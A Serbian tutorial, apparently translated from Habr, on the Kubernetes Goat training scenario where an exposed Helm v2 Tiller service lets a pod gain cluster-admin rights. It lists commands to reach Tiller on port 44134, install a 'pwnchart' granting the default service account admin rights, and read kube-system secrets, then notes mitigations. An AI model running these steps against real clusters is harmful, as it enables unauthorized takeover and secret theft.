
Helm — paketni menedžer za Kubernetes, nešto kao apt-get za Ubuntu. U ovoj belešci ćemo pogledati prethodnu verziju helm (v2) sa podrazumevanim instaliranim servisom tiller, preko kojeg ćemo dobiti pristup klasteru.
Pripremićemo klaster, za to pokrenimo komandu:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash![]()
Demonstracija
- Ako se ništa dodatno ne podešava, helm v2 pokreće servis tiller, koji ima RBAC sa punim administratorskim pravima na klasteru.
- Nakon instalacije u namespace
kube-systema suggestion appearstiller-deploy, takođe se otvara port 44134, vezan za 0.0.0.0. To se može proveriti pomoću telnet-a.
$ telnet tiller-deploy.kube-system 44134
- Sada se možemo povezati sa servisom tiller. Koristićemo binaricu helm za izvođenje operacija tokom komunikacije sa servisom tiller:
$ helm --host tiller-deploy.kube-system:44134 version![]()
- Pokušaćemo da dobijemo tajne klastera Kubernetes iz namespace-a
kube-system:
$ kubectl get secrets -n kube-system![]()
- Sada možemo kreirati sopstveni chart, u kojem ćemo kreirati ulogu sa administratorskim pravima i dodeliti tu ulogu podrazumevanom servisnom računu. Koristeći token sa ovog servisnog računa, dobili smo puni pristup našem klasteru.
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- Sada, kada je
pwnchartdeployed, podrazumevajući servisni račun ima potpuni administrativni pristup. Proverićemo još jednom dobijanje tajni izkube-system
kubectl get secrets -n kube-system
Uspešno izvršenje ovog scenarija zavisi od načina na koji je tiller implementiran; ponekad ga administratori implementiraju u odvojenom namespace-u sa drugim privilegijama. Helm 3 nije podložan takvim ranjivostima, jer ne uključuje tiller.
Napomena prevodioca: korišćenje mrežnih politika za filtriranje saobraćaja u klasteru pomaže u zaštiti od ranjivosti ovog tipa.
Izvor: habr.com
